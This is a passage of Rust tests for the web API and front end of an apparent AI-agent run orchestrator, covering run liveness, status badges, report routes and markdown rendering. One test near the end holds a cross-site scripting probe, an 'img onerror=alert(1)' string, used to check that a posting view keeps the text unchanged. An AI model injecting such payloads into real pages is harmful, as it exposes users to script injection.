18583            "Review only".to_owned(),
18584            Config::default(),
18585        );
18586        state.id = id.to_owned();
18587        state.status = RunStatus::Reviewing;
18588        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18589        // This test process's own pid really is alive, but the marker
18590        // recorded here does not match what it actually started at —
18591        // standing in for the pid having since been reused by a different
18592        // process than the one that wrote `run.json`.
18593        state.driver_pid = Some(std::process::id());
18594        state.driver_started_at = Some("1".to_owned());
18595        let dir = f.runs().join(id);
18596        std::fs::create_dir_all(&dir).expect("run dir");
18597        std::fs::write(
18598            dir.join("run.json"),
18599            serde_json::to_string_pretty(&state).expect("serialize run"),
18600        )
18601        .expect("write run.json");
18602
18603        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18604        assert_eq!(detail["live"], "dead", "{detail}");
18605    }
18606
18607    /// The deck's competition list is normally the first place an operator
18608    /// sees an old run. It must carry the same process verdict as detail, or
18609    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18610    #[test]
18611    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18612        let mk = |id: &str, pid: Option<u32>| {
18613            let mut s = RunState::new(
18614                PathBuf::from("/repo/magi"),
18615                "main".to_owned(),
18616                "0123456789abcdef".to_owned(),
18617                "Add a web UI".to_owned(),
18618                Config::default(),
18619            );
18620            s.id = id.to_owned();
18621            s.driver_pid = pid;
18622            s.driver_started_at = Some("1790000000".to_owned());
18623            s
18624        };
18625        let states = vec![
18626            mk("20260902-140502-aaaa", Some(77)),
18627            mk("20260902-140502-bbbb", Some(77)),
18628            mk("20260902-140502-cccc", Some(77)),
18629            mk("20260902-140502-dddd", None),
18630        ];
18631        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18632        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18633        let sup: HashMap<String, String> = [(
18634            "20260902-140502-aaaa".to_owned(),
18635            "20260902-140502-cccc".to_owned(),
18636        )]
18637        .into();
18638
18639        let status_calls = std::cell::Cell::new(0);
18640        let identity_calls = std::cell::Cell::new(0);
18641        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18642            |_| {
18643                status_calls.set(status_calls.get() + 1);
18644                Some(true)
18645            },
18646            |_| {
18647                identity_calls.set(identity_calls.get() + 1);
18648                Some("1790000000".to_owned())
18649            },
18650        ));
18651        let rows = summarize(
18652            states,
18653            &open,
18654            &claimed,
18655            &sup,
18656            |p| probe.borrow_mut().status(p),
18657            |p| probe.borrow_mut().started_at(p),
18658        );
18659
18660        assert_eq!(status_calls.get(), 1, "one pid, one status query");
18661        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18662        assert_eq!(rows.len(), 4);
18663        assert!(!rows[0].waiting && rows[1].waiting);
18664        assert_eq!(rows[0].live, crate::run::Liveness::Live);
18665        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18666        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18667        assert_eq!(rows[1].superseded_by, None);
18668    }
18669
18670    #[test]
18671    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18672        let mut state = RunState::new(
18673            PathBuf::from("/repo/magi"),
18674            "main".to_owned(),
18675            "0123456789abcdef".to_owned(),
18676            "Review only".to_owned(),
18677            Config::default(),
18678        );
18679        state.id = "20260922-090200-dead".to_owned();
18680        state.status = RunStatus::Reviewing;
18681        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18682            .expect("serialize list row");
18683        assert_eq!(row["status"], "reviewing");
18684        assert_eq!(row["display_status"], "stale");
18685        assert_eq!(row["live"], "dead", "{row}");
18686        assert!(!row["done"].as_bool().unwrap());
18687    }
18688
18689    #[test]
18690    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18691        use crate::run::Liveness::{Dead, Live, Unknown};
18692        let mut state = RunState::new(
18693            PathBuf::from("/repo/magi"),
18694            "main".to_owned(),
18695            "abc".to_owned(),
18696            "Review only".to_owned(),
18697            Config::default(),
18698        );
18699        for (status, parked, node, waiting, live, expected) in [
18700            (
18701                RunStatus::Judging,
18702                true,
18703                "github-text",
18704                false,
18705                Dead,
18706                "parked",
18707            ),
18708            (RunStatus::Judging, false, "park", false, Dead, "stale"),
18709            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18710            (
18711                RunStatus::Judging,
18712                true,
18713                "github-text",
18714                true,
18715                Dead,
18716                "waiting",
18717            ),
18718            (
18719                RunStatus::Judging,
18720                false,
18721                "github-text",
18722                true,
18723                Dead,
18724                "waiting",
18725            ),
18726            (
18727                RunStatus::Judging,
18728                false,
18729                "github-text",
18730                false,
18731                Dead,
18732                "stale",
18733            ),
18734            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18735            (RunStatus::Judging, true, "park", false, Live, "judging"),
18736            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18737            (RunStatus::Merged, true, "park", false, Dead, "merged"),
18738            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18739            (
18740                RunStatus::Blocked,
18741                true,
18742                "github-text",
18743                true,
18744                Dead,
18745                "waiting",
18746            ),
18747        ] {
18748            state.status = status;
18749            state.parked = parked;
18750            state.events.clear();
18751            state.event(
18752                "park",
18753                "an earlier park does not determine the latest state",
18754            );
18755            state.event(node, "message is not used for classification");
18756            let summary = RunSummary::of(&state, waiting, live);
18757            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18758            assert_eq!(
18759                summary.display_status, expected,
18760                "{status:?}/{node}/{live:?}"
18761            );
18762            assert_eq!(detail.display_status, summary.display_status);
18763            assert_eq!(detail.waiting, summary.waiting);
18764        }
18765        state.status = RunStatus::Judging;
18766        state.parked = false;
18767        state.events.clear();
18768        assert_eq!(run_display_status(&state, false, Dead), "stale");
18769    }
18770
18771    #[test]
18772    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18773        use crate::run::Liveness::{Dead, Live, Unknown};
18774        let mut state = RunState::new(
18775            PathBuf::from("/repo/magi"),
18776            "main".to_owned(),
18777            "abc".to_owned(),
18778            "Badge".to_owned(),
18779            Config::default(),
18780        );
18781        for (status, waiting, live, superseded, expected) in [
18782            (RunStatus::Gating, false, Dead, false, "stale"),
18783            (RunStatus::Gating, false, Dead, true, "superseded"),
18784            (RunStatus::Gating, false, Unknown, true, "superseded"),
18785            (RunStatus::Gating, true, Dead, true, "superseded"),
18786            (RunStatus::Gating, true, Dead, false, "waiting"),
18787            (RunStatus::Gating, false, Unknown, false, "gating"),
18788            (RunStatus::Gating, false, Live, true, "gating"),
18789            (RunStatus::Gating, true, Live, true, "waiting"),
18790            (RunStatus::Merged, false, Dead, true, "merged"),
18791            (RunStatus::Blocked, false, Dead, true, "blocked"),
18792        ] {
18793            state.status = status;
18794            let display = run_display_status(&state, waiting, live);
18795            assert_eq!(
18796                run_badge_status(&state, &display, live, superseded),
18797                expected,
18798                "{status:?}/{live:?}/superseded={superseded}"
18799            );
18800        }
18801    }
18802
18803    #[test]
18804    fn summarize_and_detail_expose_badge_status() {
18805        use crate::run::Liveness::Dead;
18806        let mut state = RunState::new(
18807            PathBuf::from("/repo/magi"),
18808            "main".to_owned(),
18809            "abc".to_owned(),
18810            "Badge".to_owned(),
18811            Config::default(),
18812        );
18813        state.status = RunStatus::Gating;
18814        let none = HashSet::new();
18815        let id = state.id.clone();
18816        let mut by = HashMap::new();
18817        let rows = summarize(
18818            [state.clone()],
18819            &none,
18820            &none,
18821            &by,
18822            |_| Some(false),
18823            |_| None,
18824        );
18825        // No driver recorded: liveness is not provably dead, so the node stays.
18826        assert_eq!(rows[0].badge_status, rows[0].display_status);
18827        by.insert(id, "20260901-000000-913b".to_owned());
18828        let detail = RunDetailView::of(
18829            state.clone(),
18830            false,
18831            Dead,
18832            Some("913b".to_owned()),
18833            None,
18834            None,
18835        );
18836        assert_eq!(detail.badge_status, "superseded");
18837        let json = serde_json::to_value(&detail).unwrap();
18838        assert_eq!(json["badge_status"], "superseded");
18839        let detail = RunDetailView::of(state, false, Dead, None, None, None);
18840        assert_eq!(detail.badge_status, "stale");
18841    }
18842
18843    #[tokio::test]
18844    async fn run_display_status_routes_share_the_open_question_store() {
18845        let f = Fixture::start().await;
18846        let id = "20260922-090200-abcd";
18847        write_run(&f.runs(), id, RunStatus::Judging);
18848        let mut state = read_run(&f.runs(), id).unwrap();
18849        state.parked = true;
18850        state.driver_exited = true;
18851        state.event("github-text", "waiting for the owner");
18852        state.save_under(f.home.path()).unwrap();
18853        let mut task = Task::new(
18854            "resumed task".to_owned(),
18855            "do it".to_owned(),
18856            PathBuf::from("/repo"),
18857            Source::Human,
18858        );
18859        task.runs = vec![id.to_owned(), id.to_owned()];
18860        f.queue().put(&mut task).unwrap();
18861        let store = f.questions();
18862        let mut q = Question::new(
18863            id.to_owned(),
18864            "github-text".to_owned(),
18865            "owner".to_owned(),
18866            "Approve the text?".to_owned(),
18867            String::new(),
18868            Vec::new(),
18869        );
18870        store.put(&mut q).unwrap();
18871        for expected in ["waiting", "parked"] {
18872            let list = f.get("/api/runs").await.json();
18873            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18874            assert_eq!(list[0]["display_status"], expected);
18875            assert_eq!(detail["display_status"], expected);
18876            assert_eq!(detail["waiting"], list[0]["waiting"]);
18877            assert_eq!(list[0]["badge_status"], expected);
18878            assert_eq!(detail["badge_status"], expected);
18879            assert!(list[0]["superseded_by"].is_null());
18880            assert!(detail["superseded_by"].is_null());
18881            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18882            let history = task_detail["history"].as_array().unwrap();
18883            assert_eq!(history.len(), 2);
18884            assert!(history[0]["badge"].is_null());
18885            assert_eq!(history[1]["badge"], expected);
18886            q.status = ask::QuestionStatus::Answered;
18887            store.put(&mut q).unwrap();
18888        }
18889    }
18890
18891    #[tokio::test]
18892    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18893        let f = Fixture::start().await;
18894        let id = "20260922-090200-abcd";
18895        write_run(&f.runs(), id, RunStatus::Judging);
18896        let mut state = read_run(&f.runs(), id).unwrap();
18897        state.parked = true;
18898        state.driver_exited = true;
18899        state.event("park", "stopped at a node boundary");
18900        state.save_under(f.home.path()).unwrap();
18901
18902        for expected in ["parked", "stale"] {
18903            let list = f.get("/api/runs").await.json();
18904            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18905            assert_eq!(list[0]["live"], "dead");
18906            assert_eq!(list[0]["display_status"], expected);
18907            assert_eq!(detail["display_status"], expected);
18908            // Model a driver claim followed by a crash before the next event:
18909            // the persisted flag changes, but the last event is still park.
18910            state.parked = false;
18911            state.save_under(f.home.path()).unwrap();
18912        }
18913    }
18914
18915    #[tokio::test]
18916    async fn the_run_list_is_newest_first_and_honours_a_limit() {
18917        let f = Fixture::start().await;
18918        for id in [
18919            "20260902-140501-aaaa",
18920            "20260902-140502-bbbb",
18921            "20260902-140503-cccc",
18922        ] {
18923            write_run(&f.runs(), id, RunStatus::Merged);
18924        }
18925
18926        let all = f.get("/api/runs").await.json();
18927        let capped = f.get("/api/runs?limit=2").await.json();
18928
18929        assert_eq!(all[0]["id"], "20260902-140503-cccc");
18930        assert_eq!(all.as_array().map(Vec::len), Some(3));
18931        assert_eq!(capped.as_array().map(Vec::len), Some(2));
18932        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18933    }
18934
18935    #[tokio::test]
18936    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18937        let f = Fixture::start().await;
18938        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18939
18940        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18941
18942        assert_eq!(res.status, 200);
18943        assert!(
18944            res.headers
18945                .contains("content-type: text/plain; charset=utf-8"),
18946            "a browser must render it, not download it: {}",
18947            res.headers
18948        );
18949        // The assertion is on content, not on the absence of escapes: colour
18950        // is a process-global that `serve` turns off at startup, and another
18951        // test in this binary may own it while this one runs.
18952        assert!(
18953            res.body.contains("20260902-140501-a1b2"),
18954            "the report is about the run that was asked for: {}",
18955            res.body
18956        );
18957    }
18958
18959    #[tokio::test]
18960    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18961        // The view names the run's state directory, which reads the process-global home.
18962        crate::run::pin_test_home();
18963        let f = Fixture::start().await;
18964        let id = "20260902-140501-a1b2";
18965        write_run(&f.runs(), id, RunStatus::Stalled);
18966        // A stalled panel and one review round, written through the real
18967        // state file so the route reads what a run really leaves behind.
18968        let path = f.runs().join(id).join("run.json");
18969        let mut v: serde_json::Value =
18970            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18971        v["tally"] = serde_json::json!({
18972            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18973            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18974            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18975            "met_quorum": false, "rankings": 1
18976        });
18977        v["reviews"] = serde_json::json!([{
18978            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18979            "e2e_deferred": true,
18980            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18981                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18982            ]}]
18983        }]);
18984        std::fs::write(&path, v.to_string()).unwrap();
18985        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18986        std::fs::write(
18987            f.runs().join("20260902-140502-dead").join("run.json"),
18988            "{not json",
18989        )
18990        .unwrap();
18991
18992        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18993
18994        assert_eq!(res.status, 200, "{}", res.body);
18995        assert!(res.headers.contains("content-type: application/json"));
18996        let j = res.json();
18997        assert_eq!(j["schema"], 1);
18998        assert_eq!(j["header"]["id"], id);
18999        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19000        let kinds: Vec<&str> = j["sections"]
19001            .as_array()
19002            .unwrap()
19003            .iter()
19004            .map(|s| s["kind"].as_str().unwrap())
19005            .collect();
19006        assert_eq!(kinds, ["candidates", "tally", "review"]);
19007        let tally = &j["sections"][1]["tally"];
19008        assert_eq!(
19009            (tally["decided"].clone(), tally["provisional"].clone()),
19010            (false.into(), true.into())
19011        );
19012        let round = &j["sections"][2]["rounds"][0];
19013        assert_eq!(round["e2e"]["state"], "deferred");
19014        assert_eq!(round["findings"][0]["severity"], "major");
19015        assert_eq!(round["findings"][0]["blocking"], true);
19016        assert_eq!(round["findings"][0]["state"], "open");
19017
19018        // The raw route keeps working beside it.
19019        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19020
19021        // An unreadable run is an error, as on the text route, and is counted.
19022        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19023        assert_ne!(bad.status, 200, "{}", bad.body);
19024        assert_eq!(
19025            bad.status,
19026            f.get("/api/runs/20260902-140502-dead/report").await.status
19027        );
19028        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19029        assert_eq!(
19030            f.get("/api/runs/20260902-999999-ffff/report.json")
19031                .await
19032                .status,
19033            404
19034        );
19035    }
19036
19037    #[tokio::test]
19038    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19039        crate::run::pin_test_home();
19040        let f = Fixture::start().await;
19041        let id = "20260902-140503-delib";
19042        write_run(&f.runs(), id, RunStatus::Merged);
19043        let path = f.runs().join(id).join("run.json");
19044        let mut v: serde_json::Value =
19045            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19046        v["judgements"] = serde_json::json!([
19047            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19048        ]);
19049        v["tally"] = serde_json::json!({
19050            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19051            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19052            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19053            "met_quorum": true, "rankings": 1
19054        });
19055        v["deliberation"] = serde_json::json!([
19056            {
19057                "round": 1,
19058                "turns": [
19059                    {
19060                        "judge": 1,
19061                        "agent": "judge-1",
19062                        "body": "I prefer candidate **A** because it has cleaner tests.",
19063                        "tentative": "A"
19064                    }
19065                ]
19066            },
19067            {
19068                "round": 2,
19069                "turns": [
19070                    {
19071                        "judge": 1,
19072                        "agent": "judge-1",
19073                        "body": "Still thinking, no choice yet.",
19074                        "tentative": null
19075                    }
19076                ]
19077            }
19078        ]);
19079        std::fs::write(&path, v.to_string()).unwrap();
19080
19081        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19082        assert_eq!(res.status, 200, "{}", res.body);
19083        let j = res.json();
19084        let judging = j["sections"]
19085            .as_array()
19086            .unwrap()
19087            .iter()
19088            .find(|s| s["kind"] == "judging")
19089            .expect("judging section exists");
19090
19091        // Existing summary lines remain intact
19092        let delib_lines = judging["deliberation"].as_array().unwrap();
19093        assert_eq!(delib_lines.len(), 2);
19094        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19095        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19096
19097        // rounds carry turn bodies, tentative and parsed body_md
19098        let rounds = judging["rounds"].as_array().unwrap();
19099        assert_eq!(rounds.len(), 2);
19100        let r1_t0 = &rounds[0]["turns"][0];
19101        assert_eq!(r1_t0["judge"], 1);
19102        assert_eq!(r1_t0["agent"], "judge-1");
19103        assert_eq!(r1_t0["tentative"], "A");
19104        assert_eq!(
19105            r1_t0["body"],
19106            "I prefer candidate **A** because it has cleaner tests."
19107        );
19108        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19109
19110        let r2_t0 = &rounds[1]["turns"][0];
19111        assert_eq!(r2_t0["judge"], 1);
19112        assert_eq!(r2_t0["agent"], "judge-1");
19113        assert!(r2_t0["tentative"].is_null());
19114        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19115        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19116
19117        // A run with empty deliberation array yields empty rounds
19118        let id_empty = "20260902-140504-nodelib";
19119        write_run(&f.runs(), id_empty, RunStatus::Merged);
19120        let path_empty = f.runs().join(id_empty).join("run.json");
19121        let mut v_empty: serde_json::Value =
19122            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19123        v_empty["judgements"] = serde_json::json!([
19124            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19125        ]);
19126        v_empty["deliberation"] = serde_json::json!([]);
19127        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19128
19129        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19130        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19131        let j_empty = res_empty.json();
19132        let judging_empty = j_empty["sections"]
19133            .as_array()
19134            .unwrap()
19135            .iter()
19136            .find(|s| s["kind"] == "judging")
19137            .expect("judging section exists");
19138        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19139    }
19140
19141    #[tokio::test]
19142    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19143        let f = Fixture::start().await;
19144
19145        let html = f.get("/").await;
19146        let css = f.get("/app.css").await;
19147        let js = f.get("/app.js").await;
19148
19149        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19150        assert!(
19151            html.headers
19152                .contains("content-type: text/html; charset=utf-8")
19153        );
19154        assert!(css.headers.contains("content-type: text/css"));
19155        assert!(js.headers.contains("content-type: text/javascript"));
19156        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19157    }
19158
19159    #[test]
19160    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19161        let body = |name: &str| {
19162            let at = APP_JS
19163                .find(name)
19164                .unwrap_or_else(|| panic!("{name} missing"));
19165            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19166        };
19167        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19168        let note = body("function landRoundNote");
19169        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19170        assert!(note.contains("Land round ${round}"));
19171        let land = body("function renderLand");
19172        let note_at = land
19173            .find("landRoundNote(pr)")
19174            .expect("renderLand uses the note");
19175        assert!(
19176            note_at
19177                < land
19178                    .find("roundRail(pr)")
19179                    .expect("renderLand uses the rail")
19180        );
19181    }
19182
19183    #[test]
19184    fn the_runs_page_redesign_keeps_its_guards() {
19185        let body = |name: &str| {
19186            let at = APP_JS
19187                .find(name)
19188                .unwrap_or_else(|| panic!("{name} missing"));
19189            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19190        };
19191        // A null child must never reach the native append (it prints "null").
19192        let land = body("function renderLand");
19193        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19194        assert!(
19195            !land.contains("box.append("),
19196            "renderLand must use append()"
19197        );
19198        assert!(land.contains("append(box, ["));
19199        // Tabs are hash routes; the run id alone decides a reload.
19200        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19201        assert!(
19202            body("function applyRoute")
19203                .contains("route.name !== state.route.name || route.id !== state.route.id")
19204        );
19205        // The decorative diagram is gone, the strip and its guards stay.
19206        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19207        assert!(!INDEX_HTML.contains("advise-converge"));
19208        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19209        assert!(APP_JS.contains("provisional"));
19210        for id in [
19211            "run-tab-overview",
19212            "run-tab-timeline",
19213            "run-tab-report",
19214            "run-report",
19215            "runs-scope",
19216        ] {
19217            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19218        }
19219        assert!(!INDEX_HTML.contains("runs-tree"));
19220        assert!(!INDEX_HTML.contains("run-raw-panel"));
19221        // Fold still says it cannot be resumed.
19222        assert!(APP_JS.contains("resume"));
19223        // The unreadable-runs count stays on the page.
19224        assert!(APP_JS.contains("unreadable"));
19225    }
19226
19227    #[test]
19228    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19229        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19230        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19231        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19232        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19233        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19234        // The subtitle still counts them whatever the banner does.
19235        assert!(APP_JS.contains("unreadable` : null"));
19236    }
19237
19238    #[test]
19239    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19240        let mut state = RunState::new(
19241            "/repo".into(),
19242            "main".into(),
19243            "abc".into(),
19244            "task".into(),
19245            crate::config::Config::default(),
19246        );
19247        state.status = RunStatus::Blocked;
19248        state.gate_ran = true;
19249        state.gate.push(crate::run::CommandOutcome {
19250            command: "cargo make check".into(),
19251            code: Some(1),
19252            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19253            duration_ms: 0,
19254            resource_blocked: false,
19255        });
19256        let view = RunDetailView::of(
19257            state,
19258            false,
19259            crate::run::Liveness::Unknown,
19260            None,
19261            None,
19262            None,
19263        );
19264        let value = serde_json::to_value(view).unwrap();
19265        assert_eq!(
19266            value["stop_reason"],
19267            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19268        );
19269    }
19270
19271    #[test]
19272    fn the_run_detail_payload_says_whether_the_run_is_done() {
19273        // `landView` reads `run.done`; the detail response must carry it.
19274        for (status, done) in [
19275            (RunStatus::Superseded, true),
19276            (RunStatus::Blocked, true),
19277            (RunStatus::Landing, false),
19278        ] {
19279            let mut state = RunState::new(
19280                std::path::PathBuf::from("/repo"),
19281                "main".to_owned(),
19282                "abc".to_owned(),
19283                "x".to_owned(),
19284                crate::config::Config::default(),
19285            );
19286            state.status = status;
19287            let v = serde_json::to_value(RunDetailView::of(
19288                state,
19289                false,
19290                crate::run::Liveness::Unknown,
19291                None,
19292                None,
19293                None,
19294            ))
19295            .unwrap();
19296            assert_eq!(v["done"], done, "{status:?}");
19297        }
19298    }
19299
19300    /// The first node of a markdown block holds a `strong` somewhere.
19301    fn has_strong(nodes: &[md::Node]) -> bool {
19302        serde_json::to_string(nodes).unwrap().contains("strong")
19303    }
19304
19305    #[test]
19306    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19307        let mut state = RunState::new(
19308            std::path::PathBuf::from("/repo"),
19309            "main".to_owned(),
19310            "abc".to_owned(),
19311            "x".to_owned(),
19312            crate::config::Config::default(),
19313        );
19314        let proposal = |approach: &str| {
19315            serde_json::json!({
19316                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19317            })
19318        };
19319        state.advice = Some(
19320            serde_json::from_value(serde_json::json!({
19321                "records": [
19322                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19323                     "proposal": proposal("do **this**")},
19324                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19325                ],
19326                "synthesis": "- one\n- **two**\n\n`code`",
19327            }))
19328            .unwrap(),
19329        );
19330        state.candidates = serde_json::from_value(serde_json::json!([
19331            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19332             "summary": "did **it**"},
19333            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19334        ]))
19335        .unwrap();
19336        // Recorded in ascending severity, the reverse of how the page sorts
19337        // them: the arrays must follow the record, not the display.
19338        state.reviews = serde_json::from_value(serde_json::json!([{
19339            "round": 1, "head": "h",
19340            "reviews": [{
19341                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19342                "findings": [
19343                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19344                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19345                ],
19346            }],
19347            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19348            "fix": {"agent": "a", "notes": "fixed **it**",
19349                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19350        }, {"round": 2, "head": "h2", "reviews": []}]))
19351        .unwrap();
19352
19353        let v = serde_json::to_value(RunDetailView::of(
19354            state,
19355            false,
19356            crate::run::Liveness::Unknown,
19357            None,
19358            None,
19359            None,
19360        ))
19361        .unwrap();
19362
19363        let strong = |p: &str| {
19364            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19365            assert!(n.to_string().contains("strong"), "{p}: {n}");
19366        };
19367        strong("/advice_md/synthesis");
19368        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19369        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19370        strong("/advice_md/approaches/0");
19371        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19372        strong("/candidate_summaries_md/0");
19373        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19374        strong("/reviews_md/0/reviewers/0/summary");
19375        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19376        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19377        assert!(f[1].to_string().contains("strong"));
19378        strong("/reviews_md/0/reconsideration/0");
19379        strong("/reviews_md/0/fix/notes");
19380        strong("/reviews_md/0/fix/rejected/0");
19381        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19382        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19383        // The raw strings stay, and no schema moved.
19384        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19385        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19386    }
19387
19388    #[test]
19389    fn a_run_without_advice_has_no_advice_md() {
19390        let state = RunState::new(
19391            std::path::PathBuf::from("/repo"),
19392            "main".to_owned(),
19393            "abc".to_owned(),
19394            "x".to_owned(),
19395            crate::config::Config::default(),
19396        );
19397        let p = run_prose_md(&state);
19398        assert!(p.advice_md.is_none());
19399        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19400    }
19401
19402    #[test]
19403    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19404        let store = ask::Questions::at(PathBuf::from("unused"));
19405        let gt = crate::github_text::Withheld {
19406            title: false,
19407            body: true,
19408            categories: vec!["sensitive-data".into()],
19409        };
19410        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19411        let (detail, comparison) =
19412            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19413        let mut q = Question::new(
19414            "r".into(),
19415            "github-text".into(),
19416            "posting-gate".into(),
19417            "s".into(),
19418            detail,
19419            Vec::new(),
19420        );
19421        assert!(
19422            QuestionView::of(q.clone(), &store, None)
19423                .posting_view
19424                .is_none()
19425        );
19426        q.posting_comparison = Some(comparison);
19427        let view = QuestionView::of(q.clone(), &store, None);
19428        let field = &view.posting_view.unwrap().fields[0];
19429        assert_eq!(
19430            field
19431                .original
19432                .iter()
19433                .map(|f| f.text.as_str())
19434                .collect::<String>(),
19435            body
19436        );
19437        assert!(field.original[0].text.starts_with("<img"));
19438        let original_question: Question =
19439            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19440        assert_eq!(original_question, q);
19441        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19442            .original
19443            .start = 1;
19444        assert!(
19445            QuestionView::of(q.clone(), &store, None)
19446                .posting_view
19447                .is_none()
19448        );
19449        q.posting_comparison = original_question.posting_comparison;
19450        q.detail.push_str("extra context");
19451        assert!(
19452            QuestionView::of(q.clone(), &store, None)
19453                .posting_view
19454                .is_some()
19455        );
19456        q.detail.insert(0, 'x');
